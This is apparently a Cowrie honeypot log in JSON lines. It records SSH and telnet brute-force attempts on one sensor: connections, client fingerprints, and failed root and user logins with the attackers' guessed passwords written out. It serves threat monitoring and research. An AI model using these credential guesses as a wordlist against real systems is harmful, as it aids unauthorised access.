{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T23:26:14.062370Z","src_ip":"213.209.159.158","session":"2c52697416c9","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"smoke420","message":"login attempt [root/smoke420] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T23:26:23.812676Z","src_ip":"213.209.159.158","session":"2c52697416c9","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"16.0","message":"Connection lost after 16.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T23:26:27.334224Z","src_ip":"213.209.159.158","session":"2c52697416c9","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"213.209.159.158","src_port":27976,"dst_ip":"10.17.0.5","dst_port":22,"session":"8126beed9bb9","protocol":"ssh","message":"New connection: 213.209.159.158:27976 (10.17.0.5:22) [session: 8126beed9bb9]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T23:26:27.425779Z"}
{"eventid":"cowrie.session.connect","src_ip":"103.15.226.202","src_port":42894,"dst_ip":"10.17.0.5","dst_port":22,"session":"2c9b476cbf17","protocol":"ssh","message":"New connection: 103.15.226.202:42894 (10.17.0.5:22) [session: 2c9b476cbf17]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T23:26:29.213316Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T23:26:29.218665Z","src_ip":"103.15.226.202","session":"2c9b476cbf17","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"98f63c4d9c87edbd97ed4747fa031019","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 98f63c4d9c87edbd97ed4747fa031019","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T23:26:29.459485Z","src_ip":"103.15.226.202","session":"2c9b476cbf17","protocol":"ssh"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T23:26:29.796652Z","src_ip":"213.209.159.158","session":"8126beed9bb9","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T23:26:29.800933Z","src_ip":"213.209.159.158","session":"8126beed9bb9","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"123456abc","message":"login attempt [root/123456abc] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T23:26:30.182017Z","src_ip":"103.15.226.202","session":"2c9b476cbf17","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.2","message":"Connection lost after 2.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T23:26:31.425909Z","src_ip":"103.15.226.202","session":"2c9b476cbf17","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"shams","message":"login attempt [root/shams] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T23:26:39.658797Z","src_ip":"213.209.159.158","session":"8126beed9bb9","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"16.0","message":"Connection lost after 16.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T23:26:43.403376Z","src_ip":"213.209.159.158","session":"8126beed9bb9","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"213.209.159.158","src_port":51890,"dst_ip":"10.17.0.5","dst_port":22,"session":"5b7286551c7b","protocol":"ssh","message":"New connection: 213.209.159.158:51890 (10.17.0.5:22) [session: 5b7286551c7b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T23:26:43.517385Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T23:26:45.813349Z","src_ip":"213.209.159.158","session":"5b7286551c7b","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T23:26:45.817692Z","src_ip":"213.209.159.158","session":"5b7286551c7b","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"sistema","message":"login attempt [root/sistema] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T23:26:55.928426Z","src_ip":"213.209.159.158","session":"5b7286551c7b","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"15.7","message":"Connection lost after 15.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T23:26:59.185862Z","src_ip":"213.209.159.158","session":"5b7286551c7b","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"213.209.159.158","src_port":28754,"dst_ip":"10.17.0.5","dst_port":22,"session":"ea398208cc94","protocol":"ssh","message":"New connection: 213.209.159.158:28754 (10.17.0.5:22) [session: ea398208cc94]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T23:26:59.308007Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T23:27:01.491960Z","src_ip":"213.209.159.158","session":"ea398208cc94","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T23:27:01.495008Z","src_ip":"213.209.159.158","session":"ea398208cc94","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"128.203.203.233","src_port":42936,"dst_ip":"159.203.135.109","dst_port":23,"session":"09fc5731cf2b","protocol":"telnet","message":"New connection: 128.203.203.233:42936 (159.203.135.109:23) [session: 09fc5731cf2b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T23:27:11.206404Z"}
{"eventid":"cowrie.login.failed","username":"root","password":"shabi250a","message":"login attempt [root/shabi250a] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T23:27:11.665306Z","src_ip":"213.209.159.158","session":"ea398208cc94","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"15.7","message":"Connection lost after 15.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T23:27:15.036204Z","src_ip":"213.209.159.158","session":"ea398208cc94","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"213.209.159.158","src_port":64138,"dst_ip":"10.17.0.5","dst_port":22,"session":"7ada3e400ce6","protocol":"ssh","message":"New connection: 213.209.159.158:64138 (10.17.0.5:22) [session: 7ada3e400ce6]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T23:27:15.118150Z"}
{"eventid":"cowrie.session.connect","src_ip":"27.79.44.54","src_port":50804,"dst_ip":"159.203.135.109","dst_port":22,"session":"509e7a1c65a8","protocol":"ssh","message":"New connection: 27.79.44.54:50804 (159.203.135.109:22) [session: 509e7a1c65a8]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T23:27:16.553519Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-AsyncSSH_2.1.0","message":"Remote SSH version: SSH-2.0-AsyncSSH_2.1.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T23:27:17.076231Z","src_ip":"27.79.44.54","session":"509e7a1c65a8","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"fda360b1b4f4d3455cb75c6e7edb1d11","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,curve448-sha512,ecdh-sha2-nistp521,ecdh-sha2-nistp384,ecdh-sha2-nistp256,ecdh-sha2-1.3.132.0.10,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group14-sha256,diffie-hellman-group15-sha512,diffie-hellman-group16-sha512,diffie-hellman-group17-sha512,diffie-hellman-group18-sha512,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,rsa2048-sha256,rsa1024-sha1,ext-info-c;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc,arcfour256,arcfour128,arcfour;umac-64-etm@openssh.com,umac-128-etm@openssh.com,hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-md5-etm@openssh.com,hmac-sha2-256-96-etm@openssh.com,hmac-sha2-512-96-etm@openssh.com,hmac-sha1-96-etm@openssh.com,hmac-md5-96-etm@openssh.com,umac-64@openssh.com,umac-128@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-md5,hmac-sha2-256-96,hmac-sha2-512-96,hmac-sha1-96,hmac-md5-96;zlib@openssh.com,zlib,none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","curve448-sha512","ecdh-sha2-nistp521","ecdh-sha2-nistp384","ecdh-sha2-nistp256","ecdh-sha2-1.3.132.0.10","diffie-hellman-group-exchange-sha256","diffie-hellman-group-exchange-sha1","diffie-hellman-group14-sha256","diffie-hellman-group15-sha512","diffie-hellman-group16-sha512","diffie-hellman-group17-sha512","diffie-hellman-group18-sha512","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","rsa2048-sha256","rsa1024-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519-cert-v01@openssh.com","ssh-ed448-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-1.3.132.0.10-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ssh-ed25519","ssh-ed448","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","ecdsa-sha2-1.3.132.0.10","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc","blowfish-cbc","cast128-cbc","arcfour256","arcfour128","arcfour"],"macCS":["umac-64-etm@openssh.com","umac-128-etm@openssh.com","hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-md5-etm@openssh.com","hmac-sha2-256-96-etm@openssh.com","hmac-sha2-512-96-etm@openssh.com","hmac-sha1-96-etm@openssh.com","hmac-md5-96-etm@openssh.com","umac-64@openssh.com","umac-128@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-md5","hmac-sha2-256-96","hmac-sha2-512-96","hmac-sha1-96","hmac-md5-96"],"compCS":["zlib@openssh.com","zlib","none"],"langCS":[""],"message":"SSH client hassh fingerprint: fda360b1b4f4d3455cb75c6e7edb1d11","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T23:27:17.092633Z","src_ip":"27.79.44.54","session":"509e7a1c65a8","protocol":"ssh"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T23:27:17.783380Z","src_ip":"213.209.159.158","session":"7ada3e400ce6","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T23:27:17.787266Z","src_ip":"213.209.159.158","session":"7ada3e400ce6","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"user","password":"user","message":"login attempt [user/user] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T23:27:18.328183Z","src_ip":"27.79.44.54","session":"509e7a1c65a8","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"3.1","message":"Connection lost after 3.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T23:27:19.651910Z","src_ip":"27.79.44.54","session":"509e7a1c65a8","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":10.042977333068848,"message":"Connection lost after 10 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T23:27:21.249265Z","src_ip":"128.203.203.233","session":"09fc5731cf2b","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"128.203.203.233","src_port":43996,"dst_ip":"159.203.135.109","dst_port":23,"session":"fc1ddd28d237","protocol":"telnet","message":"New connection: 128.203.203.233:43996 (159.203.135.109:23) [session: fc1ddd28d237]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T23:27:21.286602Z"}
{"eventid":"cowrie.session.closed","duration":0.051720380783081055,"message":"Connection lost after 0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T23:27:21.338174Z","src_ip":"128.203.203.233","session":"fc1ddd28d237","protocol":"telnet"}
{"eventid":"cowrie.login.failed","username":"root","password":"sh123456","message":"login attempt [root/sh123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T23:27:27.514324Z","src_ip":"213.209.159.158","session":"7ada3e400ce6","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"16.1","message":"Connection lost after 16.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T23:27:31.191068Z","src_ip":"213.209.159.158","session":"7ada3e400ce6","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"213.209.159.158","src_port":7912,"dst_ip":"10.17.0.5","dst_port":22,"session":"e6a6e5847743","protocol":"ssh","message":"New connection: 213.209.159.158:7912 (10.17.0.5:22) [session: e6a6e5847743]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T23:27:31.286483Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T23:27:33.492346Z","src_ip":"213.209.159.158","session":"e6a6e5847743","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T23:27:33.496342Z","src_ip":"213.209.159.158","session":"e6a6e5847743","protocol":"ssh"}
